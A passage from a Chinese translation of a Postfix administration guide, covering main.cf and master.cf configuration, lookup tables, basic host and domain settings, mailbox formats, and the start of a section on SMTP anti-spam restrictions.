-这个简短的例子还展示了如何在设置参数值时插入另一个参数的当前值; 只需直接键入一个美元符号,后面跟着您希望获得其值的参数名称。 前一个代码片段的最后一行相当于以下内容: - -```sh -mydestination = example.com, localhost - -``` - -有时将所有内容都放在一条线上并不方便。 通过以空格开始一行,可以告诉 Postfix 该行是前一行的延续。 例如,以下两个是等价的: - -```sh -smtpd_recipient_restrictions = permit_mynetworks, reject -smtpd_recipient_restrictions = -permit_mynetworks, -reject - -``` - -从 Postfix 2.1 开始, `main.cf`配置文件的格式记录在 `postconf(5)`手册页面中,该手册还描述了所有可用的配置参数。 手册页面可以从[http://www.postfix.org/postconf.5.html](http://www.postfix.org/postconf.5.html)在线查看。 - -`postconf`程序对于检查 `main.cf`参数的当前值和默认值非常有用。 以一个或多个参数名作为选项启动程序,它将报告 Postfix 将使用的值。 如果您使用 `-d`选项, `postconf`将报告您列出的参数的默认值。 - -例如,下面是如何比较 `mydestination`的当前值和它的默认值: - -```sh -$ postconf mydestination -mydestination = $mydomain, localhost.$mydomain -$ postconf -d mydestination -mydestination = $myhostname, localhost.$mydomain, localhost - -``` - -使用这种方法通常比在 `main.cf`中查找或在一个巨大的手动页面中查找默认值要快。 它还揭示了 Postfix 认为参数具有的实际值,从而更容易发现输入错误。 - -除了显示 `main.cf`配置参数外, `postconf`程序还可以为您编辑 `main.cf`。 如果您想在脚本中自动化配置更改,这特别有用。 这是通过期望跟随一个或多个参数赋值的 `-e`选项完成的。 - -```sh -$ postconf relay_domains -relay_domains = -$ postconf -e relay_domains=example.com -$ postconf relay_domains -relay_domains = example.com - -``` - -### master.cf - -`master.cf`文件配置前面讨论过的 Postfix 主守护进程。 对于大多数简单的 Postfix 设置, `master.cf`根本不需要修改。 - -`master.cf`中的每一行都定义了某个程序执行的服务。 例如,接收和处理 SMTP 连接的守护进程 `smtpd`是一个服务。 向本地用户传递消息的程序 `local`是另一种服务。 除了 Postfix 一开始就定义的 15 - 20 个服务之外,您还可以添加自己的服务。 - -`master.cf`中的第五列控制每个服务是否应该在 `chroot`环境中运行。 `chroot`是一个 UNIX 特性,它改变了文件系统的根目录,使得即使一个正在运行的进程被具有根权限的邪恶势力破坏了,也无法访问新的根目录之外的文件。 Postfix 的源代码发行版在默认情况下完全禁用 `chroot`,但是一些 Linux 发行版启用了它。 尽管 `chroot`是一个安全特性,可以作为一个额外的安全网非常有用,但它使 Postfix 更难维护,除非系统的其余部分得到严格保护,否则它或多或少是无用的。 - -在 Postfix 2.2 及以后版本中, `master.cf`配置文件的格式记录在 `master(5)`手册页中。 在早期版本中,大部分信息可以在 `master.cf`文件本身的注释中找到。 - -### 查找表 - -有些信息不能方便地用 `main.cf`或 `master.cf`表示。 Postfix 的查找表概念允许将信息存储在外部文件、关系数据库或 LDAP 目录中。 - -对于 Postfix,查找表是一个抽象实体,它将一个字符串(**查找键**映射到另一个字符串(**查找结果**。 那些对数学比较敏感的人可能会把它看作一个函数或(键、值)元组的集合,程序员可能会把它看作一个哈希表。 基本上,它的功能就像一本电话簿; 你查找一个名字,得到一个电话号码或地址。 - -Postfix 支持许多不同类型的查找表。 其中一些被称为*索引*,这意味着 `postmap`命令用于将用户写入的输入文件编译为 Postfix 读取的二进制格式。 这样做是出于性能考虑,并允许表包含数万甚至数十万个条目,而不影响性能。 这意味着您需要记住在编辑文件后使用 `postmap`。 - -下表描述了最重要的查询表类型: - - -| - -类型 - - | - -描述 - - | -| --- | --- | -| `cdb` | 使用 CDB 库的索引映射类型。 对于大量的条目来说非常快。 Postfix 2.2 及以上版本支持。 | -| `cidr` | 允许使用 CIDR 表示法查找 IP 地址。 支持 Postfix 2.1 及以上版本。 | -| `dbm` | DBM 是一种经典的 UNIX 索引数据库格式,在 Linux 上也可用,但是不提倡使用它,因为它使用两个文件来表示数据库。 这增加了不一致的风险,因为这两个文件不能自动更新。 使用哈希或 cdb 代替。 | -| `hash` | 这种索引查找表类型可能是最常用的,它利用了 Berkeley DB 库。 | -| `ldap` | LDAP 目录经常用于企业和大学环境中存储用户数据库。 微软的活动目录也可以通过 LDAP 访问,简化了 Postfix 在异构环境中的使用。 | -| `mysql` | 它支持著名的 MySQL 关系数据库引擎,允许您进行几乎任何类型的 SQL 查询。 | -| `pcre` | 允许将查找的字符串与正则表达式列表进行匹配,其中第一个匹配表达式获胜。 使用广泛使用的**Perl 兼容正则表达式**(**PCRE**)库。 | -| `pgsql` | 还支持 PostgreSQL 关系数据库引擎。 | -| `proxy` | 代理类型是一种特殊的查找表类型,用于包装其他查找表。 当从具有高进程数的服务中使用查找表时,这对于减少并发连接的数量非常有用。 例如,从 SMTP 服务器访问 LDAP 目录可能会导致 LDAP 服务器中的最大连接数达到峰值,但通过代理查找表访问 LDAP 目录将降低并发性。 | -| `regexp` | 类似于 `pcre`的工作方式,但不依赖于 PCRE 库。 支持的正则表达式语法有限,性能可能比 `pcre`差。 如果可能,选择 `pcre`而不是 `regexp`。 | -| `static` | 该类型是一种特殊用途的类型,无论查找的是什么,它总是返回一个给定的字符串。 如果 Postfix 期望查找表引用而不是固定字符串,但您确实希望指定固定字符串,则可以使用此方法。 | - -您可以为任何目的使用任何类型的查找表; Postfix 不施加任何限制,除非出于安全考虑,在某些情况下需要禁用正则表达式表的某些特性。 也就是说,并不是所有的查找表类型都适用于每个用途。 - -Postfix 总是支持许多查找表类型,但其中一些类型是可选的,需要支持将其编译为 Postfix。 许多 Linux 厂商提供了额外的包,您可以通过安装这些包来获得,例如 LDAP 支持。 要找出您的 Postfix 安装支持哪些查找表类型,请使用 `postconf`命令。 - -```sh -$ postconf -m -static -cidr -nis -regexp -environ -proxy -btree -unix -hash -pcre -ldap -sdbm - -``` - -在大多数情况下,简单索引查找表类型是最方便的。 索引查寻表不过是一个文本文件,可以使用您喜欢的文本编辑器进行编辑。 每一行的第一部分,直到第一个空格或制表符,将被视为查找键,该行的其余部分将被视为相应的值。 - -```sh -key value - -``` - -索引查寻表类型的一个可能缺点是,当您更新表时,您必须记住运行 `postmap`。 使用 `postmap`更新索引文件后,不必重新加载或重新启动 Postfix。 Postfix 将发现更新的文件本身,并根据需要重新启动它的守护进程。 - -查找表的主题本身就可以占整整一章的篇幅,因此本节只讨论它们。 我们将在本章后面的几个地方使用查找表,例如,当我们设置垃圾邮件控制策略时。 - -更详细的讨论查找表和所有可用的查找表的列表类型,看到 `DATABASE_README`([http://www.postfix.org/DATABASE_README.html](http://www.postfix.org/DATABASE_README.html))和文档使用的手册页的一些更复杂的查找表类型。 - -## 正在运行 Postfix - -现在您已经安装了 Postfix,让我们进行一些基本的配置更改,启动它,并对它进行测试。 如果您从一个包中安装了 Postfix,那么您可能已经回答了一些配置问题,并且已经为您启动了 Postfix。 - -### 域名和主机名 - -在开始 Postfix 之前,让我们回顾一下 `main.cf`中的一些基本设置。 第一个涉及到您的域名和您的邮件主机的名称。 `mydomain`参数应该设置为您的主要 Internet 域。 如果您运行的 Example Inc.具有域`http://www.example.com/`,那么以下设置将是合理的: - -```sh -mydomain = example.com - -``` - -`mydomain`的值将影响 Postfix 如何转换不完全限定的主机名。 这意味着在发送方和接收方地址等地方遇到的所有纯主机名都将被限定为该域—在本例中,主机名(如 `jeeves`)将被转换为 `jeeves.example.com`。 我们还将使用前面描述的 `$parameter`表示法在其他参数中引用 `mydomain`。 注意,可以通过将 `append_dot_mydomain`参数设置为 `NO`来禁用附加 `mydomain`的特性,并且一些 Linux 发行版在默认情况下进行了此修改。 一般情况下,该值应该保留为 `YES`。 - -一个相关的参数是 `myhostname`,它顺便告诉 Postfix 机器的主机名。 当 Postfix SMTP 服务器向客户端问候以及 SMTP 客户端向服务器发送 HELLO 时,主机名是其中的一个默认值。 Postfix 通常能够自己确定这一点,但有时需要重写它。 使用 `postconf`命令查看当前值是否正常。 - -```sh -$ postconf myhostname -myhostname = jeeves - -``` - -是的,这个看起来不错。 注意,这个主机名不是完全限定的,所以在不同地方使用的实际主机名将包括 `mydomain`。 - -与 `mydomain`相关的参数为 `myorigin`。 此参数指定应用于限定根本没有域部分的电子邮件地址的域。 这可能看起来很不规则,但实际上很常见。 在默认情况下,通过 `sendmail`程序提交的消息将获得当前用户名作为发送地址,而且由于用户名没有域,在消息传递到任何地方之前,用户名将符合 `myorigin`。 缺省情况下, `myorigin`设置为与 `myhostname`相同的值。 - -```sh -$ postconf -d myorigin -myorigin = $myhostname - -``` - -这应该没问题,但您可能希望将其设置为 `mydomain`。 - -```sh -myorigin = $mydomain - -``` - -我们要注意的下一个参数是 `mydestination`。 这个参数非常重要,因为它告诉 Postfix 哪些域被认为是本地的,也就是说,哪些域应该交付给这台机器上的 UNIX 帐户。 与 `mydomain`和 `myorigin, mydestination`不同的是, `mydomain`和 `myorigin, mydestination`可能包含由空格或逗号分隔的多个域。 通过在这里列出 `example.com`,Postfix 将接受寄给 `joe@example.com`的消息,并将它们传递给 UNIX 用户“joe”。 【5】 - -局部域的一个重要性质是它们都被认为是相等的。 如果 `example.com`和 `example.net`都在 `mydestination, joe@example.com`中列出,则等同于 `joe@example.net`。 如果在用户不相等的地方需要额外的域,即 `joe@example.com`和 `joe@example.net`应该导致不同的邮箱,则需要实现虚拟别名域,如*虚拟别名域*部分所述。 - -回到 Example Inc.,你会希望有 `example.com`列出在 `mydestination`,因为它是你的主要域名。 旧的领域 `example.net`也应该暂时工作,所以一个人也应该被包括在内。 此外,明智的做法是在 `mydestination`中列出 `myhostname`的值,并确保发送到 `localhost`的邮件得到正确的发送。 这会为 Example Inc.生成以下完整的本地域列表: - -```sh -mydestination = $mydomain, example.net, $myhostname, localhost.$mydomain - -``` - -那么,如果我们希望在本地传递到 `root@localhost`的消息,为什么要用 `localhost.$mydomain`而不是 `localhost`呢? 请记住, `mydomain`用于限定所有尚未完全限定的主机名(有人可能认为 `localhost`实际上已经是一个完全限定的主机名,但是 Postfix 不会对该主机名进行特殊处理)。 地址 `root@localhost`将被改写为 `root@localhost.example.com`,所以 `localhost.example.com`是我们要在 `mydestination.`中列出的 - -两个非常重要的 Postfix 参数 `mynetworks`和 `mynetworks_style`控制允许哪些主机使用您的服务器作为中继。 不正确的设置可能会让你的服务器被垃圾邮件发送者和喜欢,所以这是很重要的,你得到正确的。 默认情况下,您的服务器直接连接到的子网中的所有主机都将被允许访问。 这在大多数情况下应该是安全的。 这些参数和允许继电器接入的其他方法将在[第 5 章](05.html "Chapter 5. Securing Your Installation")中深入讨论。 - -### 通过 ISP 间接发送邮件 - -一些**Internet 服务提供商**(**ISP**)不允许其客户通过标准 SMTP 端口(`25`)直接访问远程邮件服务器。 相反,它们提供一个中继服务器,所有出站消息都必须经过它。 这种策略在住宅电缆或 DSL 连接中很常见,但一些提供商对商业级连接也有相同的策略。 如果是这种情况,您需要配置 Postfix 来通过 ISP 的中继服务器间接传递所有出站消息。 【5】 - -这是通过包含要使用的中继服务器的主机名或 IP 地址的 `relayhost`参数完成的。 允许采用以下形式: - -```sh -relayhost = example.com -relayhost = [mail.example.com] -relayhost = [1.2.3.4] - -``` - -第一个表单将导致 Postfix 对主机名执行 MX 查找,就像它对普通消息传递所做的那样。 在第二个示例中,将主机名括在方括号中可以避免 MX 查找。 在第三种情况下,指定 IP 地址时也需要方括号。 - -可以选择在主机名或地址后面加上 `:port`来指定一个可选的 TCP 端口。 注意,您不能指定多个主机名或地址来实现回退或负载平衡行为。 如果在无法访问正常中继服务器时需要回退主机,请查看 `fallback_relay`参数。 有关其他参数的更多信息,请参阅*其他有用配置参数*部分。 - -### 选择网络接口 - -参数 `inet_interfaces`决定 Postfix 用于侦听新连接和发送消息的网络接口。 如果您有多个网络接口,并且不希望 Postfix 使用所有网络接口,那么可以调整此参数以列出希望 Postfix 使用的接口的地址或主机名。 - -一些 Linux 发行版默认将 `inet_interfaces`设置为 `localhost`,这意味着 Postfix 将只监听 loopback 接口。 这至少对工作站有一定意义,但对于需要从外部主机接收消息的服务器来说,显然是完全不可用的。 如果 Linux 发行版的 Postfix 包具有此特性,只需删除或注释 `main.cf`中的 `inet_interfaces`行以禁用它。 然后,Postfix 将使用默认值 `all`,这当然意味着应该使用所有接口。 【5】 - -### 注意事项 - -更改 `inet_interfaces`需要重新启动 Postfix。 重新加载是不够的。 - -### 选择本地交付的邮箱格式 - -默认情况下,Postfix 将本地消息(在 `mydestination`中列出的域的消息)发送到 `mbox`格式的文件中。 邮箱的 `mbox`格式将邮箱的所有消息存储在单个文本文件中。 这些文件以用户命名,并进入由 `mail_spool_directory`指定的目录(通常为 `/var/mail`或 `/var/spool/mail`)。 如果用户希望使用其他邮箱来存储消息,那么这些文件将存储在用户的主目录中(通常在 `$HOME/mail`或 `$HOME/Mail`中)。 【显示】 - -`mbox`格式有一些缺陷,使其不受欢迎。 单文件格式使得删除消息的代价很高,因为必须完全重写整个文件,除非删除的消息是最后一个,在这种情况下,文件可以被截断。 当多个进程需要同时访问同一个邮箱时, `mbox`也会产生障碍,当用户在发送新邮件时使用 POP 服务器检索和删除消息时,就会发生这种情况。 这就要求使用某种排他锁定方法来避免并发访问,以免损坏文件。 这样的锁并不是一个大问题,如果所有的软件运行在同一台机器上,访问相同的本地文件系统,并同意使用锁定方法,但这是一个皇家痛苦如果邮箱需要通过网络访问通过网络文件系统(比如 NFS,可靠的文件锁定可能是一个问题。 最后,如果与磁盘配额一起使用, `mbox`会导致问题。 当邮箱被重写时,它将使用两倍于原来的存储空间。 - -为了避免这些问题, `qmail`、 `djbdns`等软件的作者 D. J. Bernstein 设计了邮箱的 `maildir`格式。 顾名思义, `maildir`使用目录和每个消息一个文件。 消息的删除总是非常快,但另一方面,扫描邮箱并生成所有消息列表可能需要更长的时间,因为必须打开和读取所有消息文件。 与 NFS 一起使用是安全的。 在 `maildir`传递格式中,用户的收件箱通常在 `$HOME/Maildir`中找到。 - -要配置 Postfix 将新消息发送到本地用户 `$HOME/Maildir`,设置 `home_mailbox`参数如下: - -```sh -home_mailbox = Maildir/ - -``` - -注意行尾的斜杠; 它是很重要的! Postfix 遵循许多其他程序使用的约定,即以斜杠结尾的邮箱位置表示 `maildir`。 如果省略斜杠,Postfix 将尝试将消息传递到 `mbox`文件 `$HOME/Maildir`。 - -当 Postfix 执行传递本身时, `home_mailbox`参数仅对本地域有效。 如果交付是由 Procmail 或 Maildrop 等其他交付代理进行的,则必须为 `maildir`交付配置该软件。 - -本书的其余部分假设您选择了 `maildir`交付方式。 稍后介绍的 IMAP/POP 服务器 Courier IMAP 根本不支持 `mbox`格式。 在 `mbox`和 `maildir`之间转换邮箱并不困难,所以如果您想稍后切换格式,这不会是一个问题。 - -### 错误报告 - -最后一步是确保 Postfix 和世界各地的实际人员可以作为邮政管理员通知您有关错误条件。 互联网标准要求所有域名都有一个邮政主管地址,但您不需要创建一个帐户与该名称。 相反,您可以使用 Postfix 的别名功能,将指向邮政主管地址的邮件重定向给您自己和任何其他管理邮件系统的人。 另外,您应该将消息重定向到根帐户。 - -别名将在*本地别名*部分进行更详细的讨论,但是现在应该执行这一步,所以我们将快速查看一下。 为了使 Postfix 重定向根的消息并接受发送到 postmaster 的消息,即使不存在这样的用户帐户,必须修改本地别名表。 配置参数 `alias_maps`控制定义此类映射的查找表的位置: - -```sh -$ postconf alias_maps -alias_maps = hash:/etc/aliases - -``` - -在这个特定的系统上,本地别名存储在文件 `/etc/aliases`中。 编辑该文件,使其包含类似以下两行: - -```sh -postmaster: root -root: jack, jill - -``` - -这意味着指向邮政局长的消息将被发送到根用户,而指向根用户的消息将被重定向到用户“jack”和“jill”。 保存文件并运行 `newaliases`命令,这样 Postfix 将获取对文件的更改。 - -### 注意事项 - -注意,别名查找 recursive-Postfix 不停止当 `postmaster`查找成功,它继续查找 `root`,最后 `jack`和 `jill. jack`和 `jill`可能没有别名的条目,在这种情况下 Postfix 停止查找的递归。 - -Postfix 报告给邮政管理员的问题类型可以通过 `notify_classes`参数进行配置。 默认情况下,只报告诸如磁盘空间不足问题和软件问题等资源问题,但是您可以配置 Postfix 来报告更多类型的问题。 例如,您可能还想知道 SMTP 协议违反情况: - -```sh -notify_classes = resource, software, protocol - -``` - -当 Postfix 报告一个问题时,包含 SMTP 会话的副本。 这可能是一个有价值的调试帮助。 - -选择更广泛的错误报告而不是简洁的报告。 如果收到过多的错误报告,请查看是否可以使用交付代理或邮件客户端的过滤功能来删除您不感兴趣的错误报告。 由编写糟糕的垃圾邮件软件生成的传入垃圾邮件所违反的协议通常可以忽略,但如果您自己的计算机有一个行为糟糕,您将希望了解它。 - -### 其他有用的配置参数 - -除了到目前为止介绍的配置参数之外,还将提到一些其他有用的参数。 使用它们的默认值很可能会做得很好。 如果您想了解更多关于它们的信息,请查阅您的版本或 Postfix 附带的文档,或在[http://www.postfix.org/documentation.html](http://www.postfix.org/documentation.html)在线阅读文档。 - - -| - -参数 - - | - -描述 - - | -| --- | --- | -| `always_bcc` | 将每个邮件的副本发送给指定的收件人。 这可以用于电子邮件存档。 如果您需要对复制哪些消息进行更细粒度的控制,请查看 `sender_bcc_maps`和 `recipient_bcc_maps`。 后两个参数要求 Postfix 为 2.1 或更高版本。 | -| `defer_transports` | 包含应临时延迟交付的运输(或多或少的运输代理)的名称。 如果主目录的文件系统损坏或不可用,但系统的其余部分工作正常,则允许暂停本地消息传递。 | -| `delay_warning_time` | 默认情况下,如果消息在一段时间内无法传递,Postfix 不会发送警告。 将此参数设置为特定的持续时间,比如 `5h`为 5 小时,将导致 Postfix 为在此期间无法交付的每个消息发送单个警告消息。不过,需要注意的是:您的用户可能无法正确解释此警告消息。 尽管 Postfix 清楚地声明它只是一个警告,消息不需要重新发送,但许多用户不理解这一点,并重新发送他们延迟的消息。 | -| `mailbox_size_limit` | 此参数控制本地邮箱的最大大小或使用 `maildir`邮箱时邮件的最大大小。 现在,默认的 50mb 可能太低了,特别是当您使用默认的 `mbox`格式用于邮箱时。 | -| `maximal_queue_lifetime` | 指定 Postfix 在将失败的邮件返回给发件人之前重试发送的时间。 默认五天是合理的,如果没有充分的理由,不应该更改。 从 Postfix 2.1 开始,也有同样的 `bounce_queue_lifetime`,但是对于发送地址为空的弹回消息。 | -| `message_size_limit` | 此参数控制消息的最大大小。 默认值 10mb 是合理的(邮件不是大文件的最佳传输方法),但可能需要进行调整。 请记住,消息仅使用 7 位发送,因此如果您希望允许 20 MB 的二进制文件,您必须添加大约 35%来补偿文件的 7 位编码的开销。 | -| `proxy_interfaces` | 如果您的服务器通过代理或 NAT 设备连接到 Internet,因此 Postfix 不能确定所有可用于到达服务器的网络地址,将这些地址添加到此参数。 | - -### 启动 Postfix 并发送第一条消息 - -这些设置就绪后,就可以开始 Postfix 了。 使用以下 Postfix 命令来执行此操作: - -```sh -$ postfix start -postfix/postfix-script: starting the Postfix mail system - -``` - -要验证 Postfix 是否正在运行,请查看日志文件。 Postfix 通过标准的 `syslog`接口记录日志,而日志文件的确切位置取决于 `syslog`守护进程配置。 邮件日志通常被命名为 `/var/log/maillog, /var/log/mail.info`或类似的名称。 `syslog`守护进程的配置(通常可以在 `/etc/syslog.conf`中找到)包含详细信息。 这是在你开始 Postfix 后,你会在邮件日志的末尾发现的内容: - -```sh -Jan 3 21:03:28 jeeves postfix/postfix-script: starting the Postfix mail system -Jan 3 21:03:29 jeeves postfix/master[22429]: daemon started -- version 2.1.5 - -``` - -Postfix 现在已经准备好接收和传递消息了。 要尝试它,请使用您最喜欢的邮件客户端并发送测试邮件给自己。 如果您的邮件客户端使用 SMTP,请记住重新配置它以使用您的服务器。 - -如果在尝试发送测试消息时收到来自邮件客户机的错误消息,请再次阅读日志。 它是否显示了来自运行邮件客户机的主机的连接的任何痕迹? 如果是,是否记录了任何错误消息? 要获得关于如何调试 Postfix 问题的提示,请参阅*排除 Postfix 问题*一节。 - -一旦您成功地发送了消息,您还需要检查它是否正确地传递了。 因为您还没有配置 POP 或 IMAP 服务器,所以这条路不是一个选项。 但是,如果您已经在服务器上安装了一个直接从文件系统(mail、Pine、Mutt 等等)读取邮件的邮件客户机,那么只要您的邮件客户机配置为在 Postfix 交付邮件时查找新消息的相同位置,那么就应该可以正常工作。 如果您选择了 `maildir`发送,那么您的邮件客户机的默认设置可能就不能使用了。 - -在任何情况下,都可以直接从文件系统读取邮箱。 在正常的 `mbox`下发中,邮箱文件与用户同名,并且位于 `mail_spool_directory`配置参数所指向的目录中。 通过 `maildir`传递,消息通常会在 `$HOME/Maildir/new`目录中其自己的文件中找到。 - -如果一切顺利,消息被送到了预期的地方。 无论您选择哪种传递方法,都要确保您知道传递的消息最终会到达哪里。 当您必须调试交付问题时,这些知识将是有价值的。 - -# 停止垃圾邮件和其他不需要的消息 - -本节将讨论 Postfix 提供的各种方法来帮助停止不需要的消息。 垃圾邮件或未经请求的商业电子邮件可能是电子邮件服务器管理员面临的最大问题,但也可能有其他类型的消息是不希望收到的。 - -Postfix 本身不能阻止所有的垃圾邮件,但它可以捕获许多垃圾邮件。 对于一些人来说,这可能足够了,但如果你需要对抗大量的垃圾邮件,你可能需要一个工具,如 SpamAssassin,在[第 8 章](08.html "Chapter 8. Busting Spam with SpamAssassin")中描述。 即使您使用 SpamAssassin, Postfix 自己的轻量级方法也可以通过在消息到达 SpamAssassin 之前拒绝它们来帮助减少服务器上的负载。 - -## Postfix 的反垃圾邮件方法概述 - -没有什么灵丹妙药可以阻止所有垃圾邮件,但是 Postfix 提供了许多方法,您可以使用它们来帮助解决这种情况: - -* **SMTP 限制:**SMTP 限制让你定义规则来控制邮件是否被 Postfix 接受。 这些规则不能考虑邮件的内容,而只考虑信封信息。 SMTP 限制不仅是阻止垃圾邮件的工具,而且是定义邮件系统使用策略的一般方法。 -* **DNS 阻止列表:**DNS 阻止列表是全球发布的阻止列表,包含已知的垃圾邮件发送者和其他可能的垃圾邮件来源的 IP 地址。 Postfix 允许您使用此信息拒绝消息。 -* **匹配的报头表达式:**可以通过正则表达式匹配报头字段和消息正文,允许您拒绝某些类型的电子邮件。 -* **队列后内容过滤:**Postfix 接收消息后,不会立即将其发送到目的地。 相反,它将被提供给内容过滤器,该过滤器可以对消息进行任何操作——删除它、扫描它的病毒、删除不需要的附件,等等。 内容过滤器负责将消息重新提交回 Postfix,然后将它们视为任何其他消息。 -* **队列前内容过滤:**队列后内容过滤的缺点是 Postfix 总是在消息发送到内容过滤器之前接受消息。 这意味着 Postfix 不能根据内容过滤器的判断拒绝消息。 队列前内容过滤器在 SMTP 会话期间接收消息,并可以选择拒绝它们。 因为每个开放的 SMTP 会话都需要一个队列前的内容过滤器连接,所以这种类型的内容过滤器很难在高流量站点上扩展,并且需要额外的容量来处理流量突发。 此特性需要 Postfix 2.1 或更高版本。 -* **Milters:**从 Postfix 2.3 开始,支持电子邮件内容检查的 Milter 插件协议。 Milters 是在 `sendmail`邮件传输代理中引入的,根据 DKIM 标准,有许多 Milters 可用于垃圾邮件保护、反病毒检查、消息真实性和签名。 第三方 Milters 可以从[http://www.milter.org/milters 下载。](http://www.milter.org/milters.) -* **访问策略委托:**如果 SMTP 限制不够表达,您可以构建自己的访问策略服务器,Postfix 可以在每个 SMTP 会话期间联系它。 使用此工具,您可以强制执行几乎任何您想要的专门化策略,只要可以通过查看消息信封强制执行该策略。 访问策略服务器不会提供任何消息内容。 Postfix 附带了一个非常简单的策略守护进程来实现 greylisting,但是其他人已经创建了其他几个策略守护进程。 可以在[http://www.postfix.org/addon.html](http://www.postfix.org/addon.html)找到这些守护进程和其他 Postfix 插件软件的链接。 - -## 了解 SMTP 限制 - -Postfix 有一个简单但仍然富有表现力的表示法,用于定义将应用于通过 SMTP 到达的消息的规则。 例如,您可以表示一个策略来拒绝来自某些网络、使用特定主机名说 `HELO`的客户端或在 DNS 中没有反向记录的客户端(除非他们是您自己的客户端之一)发送的消息。 - -Postfix 定义了许多配置参数,每个参数都可以包含一系列限制。 每个限制列表可能包含零个或多个限制,并且每个限制在计算时可能返回或不返回某些东西。 就像在 Postfix 的其他一些地方一样,“第一场比赛获胜”的原则在这里也占据了主导地位。 这意味着将按照指定的顺序计算限制,并且第一个返回内容的限制将终止当前限制列表的计算。 - -在 SMTP 会话期间评估限制列表。 下表包含了 Postfix 使用的限制列表,并显示了它们在 SMTP 会话的哪个阶段被评估: - - -| - -参数 - - | - -的评价 - - | -| --- | --- | -| `smtpd_client_restrictions` | 直接连接。 | -| `smtpd_data_restrictions` | 当客户端发送 `DATA`命令时。 | -| `smtpd_end_of_data_restrictions` | 当客户端发送完完整的消息时。 这个限制列表在 Postfix 2.2 和更高版本中可用。 | -| `smtpd_etrn_restrictions` | 当客户端发送 `ETRN`命令时。 正常的 SMTP 会话中不使用此命令。 | -| `smtpd_helo_restrictions` | 当客户用 `HELO`或 `EHLO.`表示问候时 | -| `smtpd_recipient_restrictions` | 当客户端用 `RCPT TO`发送接收地址时。 | -| `smtpd_sender_restrictions` | 当客户端用 `MAIL FROM`发送发送地址时。 | - -参数 `smtpd_delay_reject`的默认值是 `yes`,这意味着所有拒绝将被推迟到 `RCPT TO`之后。 这是因为一些客户端软件在 `RCPT TO`之前不喜欢被拒绝,所以它们会断开连接并再次尝试。 另一个很好的原因是延迟的拒绝让 Postfix 有机会记录更多的信息。 这使得管理员更容易确定消息是否被拒绝,即使它不应该被拒绝。 - -一个常见的误解是,只有限制收件人地址可以放在 `smtpd_recipient_restrictions`,只能放在限制发送方地址 `smtpd_sender_restrictions,and`等等,但由于 `smtpd_delay_reject`的默认值,这是不正确的。 限制列表的名称仅指示在 SMTP 会话的哪个阶段将应用所列出的限制。 - -让我们来看看 Postfix 默认施加了哪些限制。 我们可以使用 `postconf`命令检查最常用的限制列表的默认值。 - -```sh -$ postconf -d smtpd_client_restrictions smtpd_helo_restrictions \ -smtpd_sender_restrictions smtpd_recipient_restrictions -smtpd_client_restrictions = -smtpd_helo_restrictions = -smtpd_sender_restrictions = -smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination - -``` - -这告诉我们,Postfix 在默认情况下没有任何客户机 `HELO`或发送方限制。 不过,它对接收方有两个限制。 第一个, `permit_mynetworks`,如果连接的客户端在 `mynetworks`指定的网络中,则允许当前的接收方。 正是这个限制使您自己的客户机能够进行中继访问。 如果连接的客户端不在 `mynetworks`范围内,则将评估限制列表中的下一项。 `reject_unauth_destination`将拒绝那些域名不是 Postfix 将接受邮件的域名之一的收件人。 换句话说, `reject_unauth_destination`拒绝接力尝试。 如果这里没有发生拒绝,那么就到达了限制列表的末尾。 如果发生这种情况,Postfix 将接受该消息。 - -一个限制列表中的 `permit`结果不会导致整个消息被接受。 只有相同列表中的其余限制将被绕过。 但对于返回 `reject`的限制则不是这样——该结果总是终止符,并停止对所有限制列表的求值。 - -有 50 多个标准 SMTP 限制可供选择,这里没有足够的空间来涵盖所有这些限制。 这个表将提供一些有用的限制。 其他的限制将在本章后面介绍。 - - -| - -限制 - - | - -描述 - - | -| --- | --- | -| `permit_inet_interfaces` | 如果连接的客户端位于 `inet_interfaces`中列出的网络之一,则允许,该网络通常覆盖运行 Postfix 的服务器连接到的所有网络。 | -| `permit_mynetworks` | 如果连接的客户端列在 `mynetworks`中,则允许。 | -| `permit_sasl_authenticated` | 如果连接的客户端已经验证了自己,则允许。 (SMTP 身份验证将在[第 5 章](05.html "Chapter 5. Securing Your Installation")中介绍。) | -| `reject` | 无条件地拒绝这个请求。 | -| `reject_invalid_hostname` | 如果客户端给出的 `HELO/EHLO`主机名语法不正确,则拒绝。 | -| `reject_non_fqdn_hostname` | 如果客户端给出的 `HELO/EHLO`主机名不是完全限定的域名,则拒绝。 | -| `reject_non_fqdn_recipient` | 如果接收地址的域部分不是完全限定的域名,则拒绝。 | -| `reject_non_fqdn_sender` | 如果发送地址的域部分不是完全限定的域名,则拒绝。 | -| `reject_unauth_destination` | 拒绝请求,除非收件人域是 Postfix 服务器所在的域之一,或者由于某些原因,将接受邮件。 | -| `reject_unknown_client_hostname` | 如果无法确定连接客户端的主机名,则拒绝。 如果以下任何一个条件为真,就会发生这种情况:a)客户端的 IP 地址不能解析为主机名,即 PTR 查找失败。b)查找结果主机名的 A 记录失败。c)从 A 记录查找中获得的 IP 地址都与输入的 IP 地址不匹配。在 Postfix 2.3 之前,这个限制被命名为 `reject_unknown_client`。 | -| `reject_unknown_recipient_domain` | 如果接收地址的域部分在 DNS 中没有 A 或 MX 记录,则拒绝。 | -| `reject_unknown_reverse_client_hostname` | 如果连接的客户端的 IP 地址不能被解析为主机名,则拒绝,即 PTR 查找无法返回结果。 该特性在 Postfix 2.3 及更高版本中可用。 | -| `reject_unknown_sender_domain` | 如果发送地址的域部分在 DNS 中没有 A 或 MX 记录,则拒绝。 | -| `reject_unlisted_recipient` | 如果接收地址的域部分是由 Postfix 托管的域,并且完整地址不是有效的接收地址,则拒绝。 默认情况下,该限制在 `smtpd_recipient_restrictions`末尾隐式计算。 此行为由 `smtpd_reject_unlisted_recipient`参数控制。 通过使用 `reject_unlisted_recipient`,您可以更早地使限制生效。 此限制在 Postfix 2.1 及以后版本中可用。 以前版本的 Postfix 可以使用 `check_recipient_maps`参数。 | -| `reject_unlisted_sender` | 如果发送地址的域部分是由 Postfix 托管的域,并且完整地址不能作为接收地址,则拒绝。 此特性背后的思想是,没有理由接受已知发送方地址不正确的消息。 此限制在 Postfix 2.1 及以后版本中可用。 参见 `smtpd_reject_unlisted_sender`参数。 | - -### 访问地图 - -除了已经讨论过的限制之外,Postfix 还定义了许多在访问映射中查找信息的限制。 **访问映射**是一个查找表,其中的内容会影响是否接受消息。 限制的名称控制将什么信息用作查找键。 - -例如, `check_client_access`限制在一个查找表中查找客户端 IP 地址和主机名,允许您,比如,禁止已知发送垃圾邮件的某些客户端。 除了限制名称之外,还需要声明查找表的类型和名称。 - -```sh -smtpd_client_restrictions = -check_client_access 